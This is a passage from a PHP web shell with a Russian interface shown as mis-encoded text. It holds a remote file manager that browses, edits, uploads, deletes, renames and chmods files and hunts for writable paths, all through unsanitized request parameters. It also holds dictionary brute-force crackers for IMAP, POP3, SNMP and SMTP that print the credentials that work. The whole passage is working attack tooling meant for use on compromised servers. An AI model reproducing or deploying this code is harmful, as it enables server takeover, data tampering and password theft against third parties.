4271echo "<tr><td>хМТРРЙКХЕМРЕ:</td></tr><tr><td width=\"25%\">IP:</td><td>".$uip."</td></tr><tr><td width=\"25%\">Agent:</td><td>".htmlspecialchars(getenv('HTTP_USER_AGENT'))."</td></tr></table>";
4272
4273}
4274
4275function checksum($file){
4276
4277global $et;
4278
4279echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td width=\"10%\"><b>MD5:</b> <font color=#F0F0F0>".md5_file($file)."</font><br><b>SHA1:</b> <font color=#F0F0F0>".sha1_file($file)."</font>".$et;
4280
4281}
4282
4283function imaplogin($host,$username,$password){
4284
4285$sock=fsockopen($host,143,$n,$s,5);
4286
4287$b=name();
4288
4289$l=strlen($b);
4290
4291if(!$sock) { return -1; }
4292
4293$res=fgets($sock,512);
4294
4295fputs($sock,$b." LOGIN $username $password\r\n");
4296
4297$res=fgets($sock,$l+4);
4298
4299if ($res == $b." OK") { return 1; } else { return 0; }
4300
4301fclose($sock);
4302
4303}
4304
4305function pop3login($server,$user,$pass){
4306
4307$sock=fsockopen($server,110,$en,$es,5);
4308
4309if(!$sock) { return -1; }
4310
4311$r=fgets($sock);
4312
4313fwrite($sock,"user ".$user."\n");
4314
4315$r=fgets($sock);
4316
4317if($r{0}=='-') { return 0; }
4318
4319fwrite($sock,"pass ".$pass."\n");
4320
4321$r=fgets($sock);
4322
4323fclose($sock);
4324
4325if($r{0}=='+') { return 1; }
4326
4327return 0;
4328
4329}
4330
4331function tumb($src) {
4332
4333$width=19;
4334
4335$height=16;
4336
4337$rgb=0xFFFFFF;
4338
4339if (!file_exists($src)) return false;
4340
4341$size = getimagesize($src);
4342
4343if ($size == false) return false;
4344
4345$format = strtolower(substr($size['mime'], strpos($size['mime'], '/')+1));
4346
4347$icfunc = "imagecreatefrom" . $format;
4348
4349if (!function_exists($icfunc)) return false;
4350
4351$x_ratio = $width / $size[0];
4352
4353$y_ratio = $height / $size[1];
4354
4355$ratio = min($x_ratio, $y_ratio);
4356
4357$use_x_ratio = ($x_ratio == $ratio);
4358
4359$new_width = $use_x_ratio ? $width : floor($size[0] * $ratio);
4360
4361$new_height = !$use_x_ratio ? $height : floor($size[1] * $ratio);
4362
4363$new_left = $use_x_ratio ? 0 : floor(($width - $new_width) / 2);
4364
4365$new_top = !$use_x_ratio ? 0 : floor(($height - $new_height) / 2);
4366
4367$isrc = $icfunc($src);
4368
4369$idest = imagecreatetruecolor($width, $height);
4370
4371imagefill($idest, 0, 0, $rgb);
4372
4373imagecopyresampled($idest, $isrc, $new_left, $new_top, 0, 0, $new_width, $new_height, $size[0], $size[1]);
4374
4375ob_start();
4376
4377imagejpeg($idest);
4378
4379$cont=ob_get_contents();
4380
4381ob_end_clean();
4382
4383imagedestroy($isrc);
4384
4385imagedestroy($idest);
4386
4387return $cont;
4388
4389}
4390
4391if (isset($_REQUEST['tumb'])) {
4392
4393header("Content-type: image/gif");
4394
4395die(tumb($_REQUEST['t']));
4396
4397}
4398
4399function tumbnail($f) {
4400
4401$ret="<img src=\"".hlink("tumb=1&t=".$f)."\"> ";
4402
4403return $ret;
4404
4405}
4406
4407function listdir($cwd,$task){
4408
4409$c= getcwd();
4410
4411$dh = opendir($cwd);
4412
4413while ($cont=readdir($dh)){
4414
4415if($cont=='.' || $cont=='..')continue;
4416
4417$adr = $cwd.DIRECTORY_SEPARATOR.$cont;
4418
4419switch ($task){
4420
4421case '0':if(is_file($adr))echo "[<a href=\"".hlink("sec=edit&file=$adr&workingdir=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlink("sec=fm&workingdir=$adr")."\">$adr</a>]\n";break;
4422
4423case '1':if(is_writeable($adr))if(is_file($adr))echo "[<a href=\"".hlink("sec=edit&file=$adr&workingdir=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlink("sec=fm&workingdir=$adr")."\">$adr</a>]\n";break;
4424
4425case '2':if(is_file($adr) && is_writeable($adr))echo "[<a href=\"".hlink("sec=edit&file=$adr&workingdir=$c")."\">$adr</a>]\n";break;
4426
4427case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a href=\"".hlink("sec=fm&workingdir=$adr")."\">$adr</a>]\n";break;
4428
4429case '4':if(is_file($adr))echo "[<a href=\"".hlink("sec=edit&file=$adr&workingdir=$c")."\">$adr</a>]\n";break;
4430
4431case '5':if(is_dir($adr))echo "[<a href=\"".hlink("sec=fm&workingdir=$adr")."\">$adr</a>]\n";break;
4432
4433case '6':if(preg_match("@".$_REQUEST['search']."@",$cont)){if(is_file($adr))echo "[<a href=\"".hlink("sec=edit&file=$adr&workingdir=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlink("sec=fm&workingdir=$adr")."\">$adr</a>]\n";}break;
4434
4435case '7':if(strstr($cont,$_REQUEST['search'])){if(is_file($adr))echo "[<a href=\"".hlink("sec=edit&file=$adr&workingdir=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlink("sec=fm&workingdir=$adr")."\">$adr</a>]\n";}break;
4436
4437}
4438
4439if (is_dir($adr)) listdir($adr,$_REQUEST['task']);
4440
4441}
4442
4443}
4444
4445if (!function_exists("posix_getpwuid") && !strstr($disablefunctions,'posix_getpwuid')) {function posix_getpwuid($u) {return 0;}}
4446
4447if (!function_exists("posix_getgrgid") && !strstr($disablefunctions,'posix_getgrgid')) {function posix_getgrgid($g) {return 0;}}
4448
4449function filemanager(){
4450
4451global $windows,$msgbox,$errorbox,$t,$et,$hcwd;
4452
4453$cwd= getcwd();
4454
4455$table = "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" width=\"100%\">";
4456
4457$td1n="<td width=\"22%\" bgcolor=\"#666666\">";
4458
4459$td2m="<td width=\"22%\" bgcolor=\"#808080\">";
4460
4461$td1i="<td width=\"5%\" bgcolor=\"#666666\">";
4462
4463$td2i="<td width=\"5%\" bgcolor=\"#808080\">";
4464
4465$tdnr="<td width=\"22%\" bgcolor=\"#800000\">";
4466
4467$tdw="<td width=\"22%\" bgcolor=\"#006E00\">";
4468
4469if (!empty($_REQUEST['task'])){
4470
4471if (!empty($_REQUEST['search'])) $_REQUEST['task'] = 7;
4472
4473if (!empty($_REQUEST['re'])) $_REQUEST['task'] = 6;
4474
4475echo "<font color=blue><pre>";
4476
4477listdir($cwd,$_REQUEST['task']);
4478
4479echo "</pre></font>";
4480
4481}else{
4482
4483if (!empty($_REQUEST['cp']) || !empty($_REQUEST['mv'])|| !empty($_REQUEST['rn'])){
4484
4485if (!empty($_REQUEST['cp']) || !empty($_REQUEST['mv'])){
4486
4487$title="Destination";
4488
4489$ad = (!empty($_REQUEST['cp']))?$_REQUEST['cp']:$_REQUEST['mv'];
4490
4491$dis =(!empty($_REQUEST['cp']))?'йÐОХПÐБЮРÐ':'оЕПЕЛЕЯРХРÐ';
4492
4493}else{
4494
4495$ad = $_REQUEST['rn'];
4496
4497$title ="мÐБÐЕ ХЛЪ";
4498
4499$dis = "оЕПЕХЛЕМÐБЮРÐ";
4500
4501}
4502
4503if (!!empty($_REQUEST['des'])){
4504
4505echo "<center><table border=0 style=\"border-collapse: collapse\" width=\"40%\"><tr><td width=\"100%\">$title:</td></tr><tr>$td1n<form method=\"POST\"><input type=hidden name=workingdir size=135 value=\"".getcwd()."\"><input type=text value=\"";if(empty($_REQUEST['rn'])) echo $cwd; echo "\" size=60 name=des></td></tr><tr>$td2m$hcwd<input type=hidden value=\"".htmlspecialchars($ad)."\" name=cp><input class=buttons type=submit value=$dis></td></tr></form></table></center>";
4506
4507}else{
4508
4509if (!empty($_REQUEST['rn'])) rename($ad,$_REQUEST['des']);
4510
4511else{
4512
4513copy($ad,$_REQUEST['des']);
4514
4515if (!empty($_REQUEST['mv']))unlink($ad);
4516
4517}
4518
4519}
4520
4521}
4522
4523if (!empty($_REQUEST['del'])) {
4524
4525function dir_delete($df) {
4526
4527if ($dir=opendir($df)) {
4528
4529$i=0;
4530
4531while (($file=readdir($dir))!=false) {
4532
4533if ($file=="." or $file=="..") continue;
4534
4535if (is_dir("$df/$file")) {
4536
4537dir_delete($df."/".$file);
4538
4539}
4540
4541else {
4542
4543unlink($df."/".$file);
4544
4545}
4546
4547$i++;
4548
4549}
4550
4551}
4552
4553closedir($dir);
4554
4555rmdir("$df/$file");
4556
4557}
4558
4559if (is_dir($_REQUEST['del'])) { dir_delete($_REQUEST['del']); }
4560
4561else { unlink ($_REQUEST['del']); }
4562
4563}
4564
4565if (!empty($_FILES['uploadfile'])){
4566
4567if (!file_exists($_FILES['uploadfile']['name'])) {
4568
4569copy($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']);
4570
4571echo "$msgbox<b>гЮЦПСФЕМ!</b> хЛЪ: ".$_FILES['uploadfile']['name']." пЮГЛЕП: ".$_FILES['uploadfile']['size']. "$et<br>"; }
4572
4573else { echo "$msgbox<b>рЮЙÐИ ТЮИК СФЕ ЕЯРÐ!</b> хЛЪ: ".$_FILES['uploadfile']['name']." пЮГЛЕП: ".$_FILES['uploadfile']['size']. "$et<br>"; }
4574
4575}
4576
4577$select = "<select onChange=\"window.location=this.options[this.selectedIndex].value;\"><option value=\"".hlink("sec=fm&workingdir=$cwd")."\">--------</option><option value=\"";
4578
4579if (!empty($_REQUEST['newf'])){
4580
4581if (!empty($_REQUEST['newfile'])){ if (!file_exists($_REQUEST['newf'])) { fclose(fopen($_REQUEST['newf'],"w+")); }}
4582
4583if (!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);}
4584
4585}
4586
4587if ($windows){
4588
4589echo "$table<td><b>дХЯЙХ:</b> ";
4590
4591for ($i=66;$i<=90;$i++){$drive= chr($i).':';
4592
4593if (is_dir($drive."\\")){$vol=shell("vol $drive");if(empty($vol))$vol=$drive;echo " <a title=\"$vol\" href=".hlink("sec=fm&workingdir=$drive\\").">$drive\\</a>";}
4594
4595}
4596
4597echo $et;
4598
4599}
4600
4601echo "$table<form method=\"POST\" action=\"".hlink("sec=fm")."\"><tr><td width=\"20%\"><b>оСРÐ:</b><input type=text name=workingdir size=135 value=\"".getcwd()."\"><input class=buttons type=submit value=хГЛЕМХРÐ></td></tr></form></table>";
4602
4603$file=array();$dir=array();$link=array();
4604
4605if($dirhandle = opendir($cwd)){
4606
4607while ($cont=readdir($dirhandle)){
4608
4609if (is_dir($cwd.DIRECTORY_SEPARATOR.$cont)) $dir[]= $cont;
4610
4611elseif (is_file($cwd.DIRECTORY_SEPARATOR.$cont)) $file[]=$cont;
4612
4613else $link[]=$cont;
4614
4615}
4616
4617closedir($dirhandle);
4618
4619sort($file);sort($dir);sort($link);
4620
4621echo "<table border=1 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" width=\"100%\"><tr><td width=\"30%\" align=\"center\">хЛЪ</td><td width=\"13%\" align=\"center\">бКЮДЕКЕЖ</td><td width=\"12%\" align=\"center\">бПЕЛЪ ХГЛЕМЕМХЪ</td><td width=\"12%\" align=\"center\">оÐЯКЕДМЕЕ ХГЛЕМЕМХЕ</td><td width=\"5%\" align=\"center\">хМТÐ</td><td width=\"7%\" align=\"center\">пЮГЛЕП</td><td width=\"15%\" align=\"center\">дЕИЯРБХЪ</td></tr>";
4622
4623$i=0;
4624
4625foreach($dir as $dn){
4626
4627echo "<tr>";
4628
4629$i++;
4630
4631$own = "мЕХГБЕЯРМÐ";
4632
4633$owner = posix_getpwuid(fileowner($dn));
4634
4635$mdate = date("Y/m/d H:i:s",filemtime($dn));
4636
4637$adate = date("Y/m/d H:i:s",fileatime($dn));
4638
4639$diraction = $select.hlink("sec=fm&workingdir=".realpath($dn))."\">нРЙПШРÐ</option><option value=\"".hlink("sec=fm&workingdir=$cwd&rn=$dn")."\">оЕПЕХЛЕМÐБЮРÐ</option><option value=\"".hlink("sec=fm&del=$dn&workingdir=$cwd")."\">ÑДЮКХРÐ</option></select></td>";
4640
4641if ($owner) $own = "<a title=\" Shell: ".$owner['shell']."\" href=\"".hlink("sec=fm&workingdir=".$owner['dir'])."\">".$owner['name']."</a>";
4642
4643if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
4644
4645if (is_writeable($dn)) echo $tdw;elseif (!is_readable($dn)) echo $tdnr;else echo $cl2;
4646
4647echo icon(realpath($dn))."<a href=\"".hlink("sec=fm&workingdir=".realpath($dn))."\">";
4648
4649if (strlen($dn)>45)echo substr($dn,0,42)."...";else echo $dn;echo "</a>";
4650
4651echo $cl1."$own</td>";
4652
4653echo $cl1."$mdate</td>";
4654
4655echo $cl1."$adate</td>";
4656
4657echo "</td>${cl1}<a href=\"".hlink("sec=chmod&file=".$dn."&workingdir=".getcwd())."\">*D";if (is_readable($dn)) echo "R";if (is_writeable($dn)) echo "W";echo "*</a></td>";
4658
4659echo "$cl1------</td>";
4660
4661echo $cl2.$diraction;
4662
4663echo "</tr>" ;
4664
4665flusher();
4666
4667}
4668
4669foreach($file as $fn){
4670
4671echo "<tr>";
4672
4673$i++;
4674
4675$own = "мЕХГБЕЯРМÐ";
4676
4677$owner = posix_getpwuid(fileowner($fn));
4678
4679$fileaction=$select.hlink("sec=openit&name=$fn&workingdir=$cwd")."\">нРЙПШРÐ</option><option value=\"".hlink("sec=edit&file=$cwd/$fn&workingdir=$cwd")."\">пЕДЮЙРХПÐБЮРÐ</option><option value=\"".hlink("sec=fm&download=$fn&workingdir=$cwd")."\">ÑЙЮВЮРÐ</option><option value=\"".hlink("sec=hex&file=$fn&workingdir=$cwd")."\">меу ЙÐД</option><option value=\"".hlink("sec=img&file=$fn&workingdir=$cwd")."\">йЮПРХМЙЮ</option><option value=\"".hlink("sec=inc&file=$fn&workingdir=$cwd")."\">Include</option><option value=\"".hlink("sec=checksum&file=$fn&workingdir=$cwd")."\">йÐМРПÐКÐМЮЪ ЯСЛЛЮ</option><option value=\"".hlink("sec=fm&workingdir=$cwd&cp=$fn")."\">йÐОХПÐБЮРÐ</option><option value=\"".hlink("sec=fm&workingdir=$cwd&mv=$fn")."\">оЕПЕЛЕЯРХРÐ</option><option value=\"".hlink("sec=fm&workingdir=$cwd&rn=$fn")."\">оЕПЕХЛЕМÐБЮРÐ</option><option value=\"".hlink("sec=fm&del=$fn&workingdir=$cwd")."\">ÑДЮКХРÐ</option></select></td>";
4680
4681$mdate = date("Y/m/d H:i:s",filemtime($fn));
4682
4683$adate = date("Y/m/d H:i:s",fileatime($fn));
4684
4685if ($owner) $own = "<a title=\"Shell:".$owner['shell']."\" href=\"".hlink("sec=fm&workingdir=".$owner['dir'])."\">".$owner['name']."</a>";
4686
4687$size = showsize(filesize($fn));
4688
4689if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
4690
4691if (is_writeable($fn)) echo $tdw;elseif (!is_readable($fn)) echo $tdnr;else echo $td2m;
4692
4693if (get_file_ext($fn) == "gif" || get_file_ext($fn) == "jpg" || get_file_ext($fn) == "png" || get_file_ext($fn) == "jpeg") {
4694
4695$imagesize=getimagesize(realpath($fn));
4696
4697echo "<a href=\"".hlink("sec=img&file=$fn&workingdir=$cwd")."\">".icon(realpath($fn)).tumbnail(realpath($fn))." (".$imagesize[0]."x".$imagesize[1].") ";
4698
4699} else {
4700
4701echo icon(realpath($fn))."<a href=\"".hlink("sec=openit&name=$fn&workingdir=$cwd")."\">";
4702
4703}
4704
4705if (strlen($fn)>45)echo substr($fn,0,42)."...";else echo $fn;echo "</a>";
4706
4707echo $cl1."$own</td>";
4708
4709echo $cl1."$mdate</td>";
4710
4711echo $cl1."$adate</td>";
4712
4713echo "</td>$cl1<a href=\"".hlink("sec=chmod&file=".$fn."&workingdir=".getcwd())."\">*";if (is_readable($fn)) echo "R";if (is_writeable($fn)) echo "W";if (is_executable($fn)) echo "X";if (is_uploaded_file($fn)) echo "U"; echo "*</a></td>";
4714
4715echo "$cl1$size</td>";
4716
4717echo $td2m.$fileaction;
4718
4719echo "</tr>" ;
4720
4721flusher();
4722
4723}
4724
4725foreach($link as $ln){
4726
4727$own = "мЕХГБЕЯРМÐ";
4728
4729$i++;
4730
4731$owner = posix_getpwuid(fileowner($ln));
4732
4733$linkaction=$select.hlink("sec=openit&name=$ln&workingdir=$ln")."\">нРЙПШРÐ</option><option value=\"".hlink("sec=edit&file=$cwd/$ln&workingdir=$cwd")."\">пЕДЮЙРХПÐБЮРÐ</option><option value=\"".hlink("sec=fm&download=$ln&workingdir=$cwd")."\">ÑЙЮВЮРÐ</option><option value=\"".hlink("sec=hex&file=$ln&workingdir=$cwd")."\">меу ЙÐД</option><option value=\"".hlink("sec=img&file=$ln&workingdir=$cwd")."\">йЮПРХМЙЮ</option><option value=\"".hlink("sec=inc&file=$ln&workingdir=$cwd")."\">Include</option><option value=\"".hlink("sec=checksum&file=$ln&workingdir=$cwd")."\">йÐМРПÐКÐМЮЪ ЯСЛЛЮ</option><option value=\"".hlink("sec=fm&workingdir=$cwd&cp=$ln")."\">йÐОХПÐБЮРÐ</option><option value=\"".hlink("sec=fm&workingdir=$cwd&mv=$ln")."\">оЕПЕЛЕЯРХРÐ</option><option value=\"".hlink("sec=fm&workingdir=$cwd&rn=$ln")."\">оЕПЕХЛЕМÐБЮРÐ</option><option value=\"".hlink("sec=fm&del=$ln&workingdir=$cwd")."\">ÑДЮКХРÐ</option></select></td>";
4734
4735$mdate = date("Y/m/d H:i:s",filemtime($ln));
4736
4737$adate = date("Y/m/d H:i:s",fileatime($ln));
4738
4739if ($owner) $own = "<a title=\"Shell: ".$owner['shell']."\" href=\"".hlink("sec=fm&workingdir=".$owner['dir'])."\">".$owner['name']."</a>";
4740
4741echo "<tr>";
4742
4743$size = showsize(filesize($ln));
4744
4745if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
4746
4747if (is_writeable($ln)) echo $tdw;elseif (!is_readable($ln)) echo $tdnr;else echo $cl2;
4748
4749echo "<a href=\"".hlink("sec=openit&name=$ln&workingdir=$cwd")."\">";
4750
4751if (strlen($ln)>45)echo substr($ln,0,42)."...";else echo $ln;echo "</a>";
4752
4753echo $cl1."$own</td>";
4754
4755echo $cl1."$mdate</td>";
4756
4757echo $cl1."$adate</td>";
4758
4759echo "</td>${cl1}L";if (is_readable($ln)) echo "R";if (is_writeable($ln)) echo "W";if (is_executable($ln)) echo "X"; echo "</td>";
4760
4761echo "$cl1$size</td>";
4762
4763echo $cl2.$linkaction;
4764
4765echo "</tr>" ;
4766
4767flusher();
4768
4769}
4770
4771}
4772
4773$dc = count($dir)-2;
4774
4775if($dc==-2)$dc=0;
4776
4777$fc = count($file);
4778
4779$lc = count($link);
4780
4781$total = $dc + $fc + $lc;
4782
4783echo "$table<tr><td><form method=POST action=\"".hlink("sec=fm")."\">мЮИРХ:<input type=text name=search><input type=checkbox name=re value=1 style=\"border-width:1px;background-color:#333333;\" checked>пЕЦСКЪПМШЕ БШПЮФЕМХЪ <input type=submit class=buttons value=мЮИРХ>$hcwd<input type=hidden value=7 name=task></form></td><td><form method=POST action=\"".hlink("sec=fm")."\">$hcwd<select name=task><option value=0>оÐЙЮГЮРРБЯЕ ТЮИКШ Ð¥ ОЮОЙХ Б ДЮММÐИ ОЮОЙЕ</option><option value=1>мЮИРХ ОЮОЙХ ДÐЯРСОМШЕ ДКЪ ГЮОХЯХ</option><option value=2>мЮИРХ ТЮИКШ ДÐЯРСОМШЕ ДКЪ ГЮОХЯХ</option><option value=3>мЮИРХ ОЮОЙХ ДÐЯРСОМШЕ ДКЪ ГЮОХЯХ Б РЕЙСЫЕИ ОЮОЙЕ</option><option value=4>оÐЙЮГЮРРБЯЕ ТЮИКШ Б РЕЙСЫЕИ ОЮОЙЕ</option><option value=5>оÐЙЮГЮРРБЯЕ ОЮОЙХ Б РЕЙСЫЕИ ОЮОЙЕ</option></select><input type=submit class=buttons value=\">>\"></form>$et</tr></table><table width=\"100%\"><tr><td width=\"50%\"><br><table bgcolor=#333333 border=0 width=\"65%\"><td><b>ÑСЛЛЮПМÐ:</b> бЯЕЦÐ: $total оЮОÐЙ: $dc тЮИКÐБ: $fc ÑЯШКÐЙ: $lc</td></table><table border=0 width=\"65%\"><td width=\"100%\" bgcolor=";if (is_writeable($cwd)) echo "#006E00";elseif (!is_readable($cwd)) echo "#800000";else "#333333"; echo ">ÑРЮРСЯ РЕЙСЫЕИ ОЮОЙХ: "; if (is_readable($cwd)) echo "R";if (is_writeable($cwd)) echo "W" ;echo "</td></table><table border=0 style=\"border-collapse: collapse\" width=\"65%\"><tr><td width=\"100%\">ÑÐГДЮРÐ:</td></tr><tr>$td1n<form method=\"POST\" action=\"".hlink("sec=fm")."\"><input type=text size=47 name=newf></td></tr><tr>$td2m$hcwd<input class=buttons type=submit name=newfile value=\"тЮИК\"><input class=buttons type=submit name=newdir value=\"оЮОЙС\"></td></tr></form></table></td><td width=\"50%\"><br>${t}гЮЦПСГХРÐ:</td></tr><tr>$td1n<form method=\"POST\" enctype=\"multipart/form-data\" action=\"".hlink("sec=fm")."\"><input type=file size=45 name=uploadfile></td></tr><tr>$td2m$hcwd<input class=buttons type=submit value=гЮЦПСГХРÐ></td></tr>$td1n лЮЙЯХЛЮКÐМШИ ÐÐЗ╦Л ГЮЦПСФЮЕЛÐЦРТЮИКЮ МЮ ЩРÐЛ ЯЕПБЕПЕ ".ini_get('upload_max_filesize')."</td></tr></form></table>$et";
4784
4785}
4786
4787}
4788
4789function cm() {
4790
4791global $windows,$msgbox,$errorbox,$et;
4792
4793if (!$windows) {
4794
4795$mode=substr(sprintf('%o', fileperms($_REQUEST['file'])), -4);
4796
4797echo $msgbox;
4798
4799if (!empty($_POST['set'])) {
4800
4801$mode = 0;
4802
4803if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
4804
4805if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
4806
4807if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
4808
4809if (chmod($_REQUEST['file'], $mode)) {
4810
4811echo "OK!<script>location.href=\"".str_replace("\\","\\\\",hlink("sec=fm&workingdir=".getcwd()))."\";</script>";
4812
4813} else {
4814
4815echo "ERROR!";
4816
4817}
4818
4819} else {
4820
4821$mode = fileperms($_REQUEST['file']);
4822
4823echo '<form action="'.hlink("sec=chmod&file=".$_REQUEST['file']."&workingdir=".getcwd()).'" method="post">
4824
4825<table>
4826
4827<tr>
4828
4829<td>
4830
4831<p style="margin: 0">CHMOD ' . realpath($_REQUEST['file']) . '</p>
4832
4833<hr />
4834
4835<table>
4836
4837<tr>
4838
4839<td></td>
4840
4841<td style="border-right: 1px solid black">Owner</td>
4842
4843<td style="border-right: 1px solid black">Group</td>
4844
4845<td>Other</td>
4846
4847</tr>
4848
4849<tr>
4850
4851<td style="text-align: right">вРЕМХЕ:</td>
4852
4853<td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
4854
4855<td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
4856
4857<td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
4858
4859</tr>
4860
4861<tr>
4862
4863<td style="text-align: right">гЮОХЯÐ:</td>
4864
4865<td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
4866
4867<td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
4868
4869<td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
4870
4871</tr>
4872
4873<tr>
4874
4875<td style="text-align: right">бШОÐКМЕМХЕ:</td>
4876
4877<td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
4878
4879<td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
4880
4881<td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
4882
4883</tr>
4884
4885</table>
4886
4887<hr />
4888
4889<input type="submit" name="set" value="гЮДЮРÐ" />
4890
4891</td>
4892
4893</tr>
4894
4895</table>
4896
4897</form>';
4898
4899}
4900
4901echo $et;
4902
4903} else {
4904
4905echo $errorbox."хГБХМХРЕ, CHMOD МЕДÐЯРСОЕМ ОÐД Windows!".$et;
4906
4907}
4908
4909}
4910
4911function imapcracker(){
4912
4913global $t,$et,$errorbox,$crack;
4914
4915if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
4916
4917$target=$_REQUEST['target'];
4918
4919$type=$_REQUEST['combo'];
4920
4921$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
4922
4923$dictionary=fopen($_REQUEST['dictionary'],'r');
4924
4925if ($dictionary){
4926
4927echo "<font color=blue>кÐЛЮЕЛ ".htmlspecialchars($target)."...<br>";
4928
4929while(!feof($dictionary)){
4930
4931if($type){
4932
4933$combo=trim(fgets($dictionary)," \n\r");
4934
4935$user=substr($combo,0,strpos($combo,':'));
4936
4937$pass=substr($combo,strpos($combo,':')+1);
4938
4939}else{
4940
4941$pass=trim(fgets($dictionary)," \n\r");
4942
4943}
4944
4945$pop3=imaplogin($target,$user,$pass);
4946
4947if($pop3==-1){echo $errorbox." мЕРЯБЪГХ Я ЯЕПБЕПÐЛ.".$et; break;
4948
4949}else{
4950
4951if ($pop3){echo "U: ".$user." P: ".$pass."<br>"; if(!$type) { break; }}}
4952
4953flusher();
4954
4955}
4956
4957echo "<br>цÐÐ ÐБÐ!</font>";
4958
4959fclose($dictionary);
4960
4961}
4962
4963else{
4964
4965echo $errorbox." мЕБÐГЛÐФМРÐРЙПШРРЯКÐБЮПÐ.".$et;
4966
4967}}
4968
4969else { echo "<center>${t}IMAP ÐПСР:$crack"; }
4970
4971}
4972
4973function snmpcracker(){
4974
4975global $t,$et,$errorbox,$crack,$hcwd;
4976
4977if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
4978
4979$target=$_REQUEST['target'];
4980
4981$dictionary=fopen($_REQUEST['dictionary'],'r');
4982
4983if ($dictionary){
4984
4985echo "<font color=blue>кÐЛЮЕЛ ".htmlspecialchars($target)."...<br>";
4986
4987while(!feof($dictionary)){
4988
4989$com=trim(fgets($dictionary)," \n\r");
4990
4991$res=snmpcheck($target,$com);
4992
4993if ($res!="") { echo $com."<br>"; }
4994
4995flusher();
4996
4997}
4998
4999echo "<br>цÐÐ ÐБÐ</font>";
5000
5001fclose($dictionary);
5002
5003}
5004
5005else{
5006
5007echo $errorbox." мЕБÐГЛÐФМРÐРЙПШРРЯКÐБЮПÐ.".$et;
5008
5009}
5010
5011}else{
5012
5013echo "<center>${t}SNMP ÐПСР:</td><td></td></tr><form method=\"POST\">".$hcwd."<tr><td width=\"20%\">ÑКÐБЮПÐ:</td><td><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\">ÑЕПБЕП:</td><td><input type=text name=target size=35></td></tr><tr><td width=\"20%\"></td><td align=right><input class=buttons type=submit value=ÑРЮПР></td></tr></form></table></center>";
5014
5015}}
5016
5017function pop3cracker(){
5018
5019global $t,$et,$errorbox,$crack;
5020
5021if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
5022
5023$target=$_REQUEST['target'];
5024
5025$type=$_REQUEST['combo'];
5026
5027$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
5028
5029$dictionary=fopen($_REQUEST['dictionary'],'r');
5030
5031if ($dictionary){
5032
5033echo "<font color=blue>кÐЛЮЕЛ ".htmlspecialchars($target)."...<br>";
5034
5035while(!feof($dictionary)){
5036
5037if($type){
5038
5039$combo=trim(fgets($dictionary)," \n\r");
5040
5041$user=substr($combo,0,strpos($combo,':'));
5042
5043$pass=substr($combo,strpos($combo,':')+1);
5044
5045}else{
5046
5047$pass=trim(fgets($dictionary)," \n\r");
5048
5049}
5050
5051$pop3=pop3login($target,$user,$pass);
5052
5053if($pop3==-1){echo "$errorbox мЕРЯБЪГХ Я ЯЕПБЕПÐЛ.$et";break;} else{
5054
5055if ($pop3){echo "U: ".$user." P: ".$pass."<br>"; if(!$type) {break; }}}
5056
5057flusher();
5058
5059}
5060
5061echo "<br>цÐÐ ÐБÐ!</font>";
5062
5063fclose($dictionary);
5064
5065}else{
5066
5067echo $errorbox." мЕБÐГЛÐФМРÐРЙПШРРЯКÐБЮПÐ.".$et;
5068
5069}
5070
5071}else { echo "<center>${t}POP3 ÐПСР:$crack"; }
5072
5073}
5074
5075function smtpcracker(){
5076
5077global $t,$et,$errorbox,$crack;
5078
5079if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
5080
5081$target=$_REQUEST['target'];
5082
5083$type=$_REQUEST['combo'];
5084
5085$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
5086
5087$dictionary=fopen($_REQUEST['dictionary'],'r');
5088
5089if ($dictionary){
5090
5091echo "<font color=blue>кÐЛЮЕЛ ".htmlspecialchars($target)."...<br>";
5092
5093while(!feof($dictionary)){
5094
5095if($type){
5096
5097$combo=trim(fgets($dictionary)," \n\r");
5098
5099$user=substr($combo,0,strpos($combo,':'));
5100
5101$pass=substr($combo,strpos($combo,':')+1);
5102
5103}else{
5104
5105$pass=trim(fgets($dictionary)," \n\r");
5106
5107}
5108
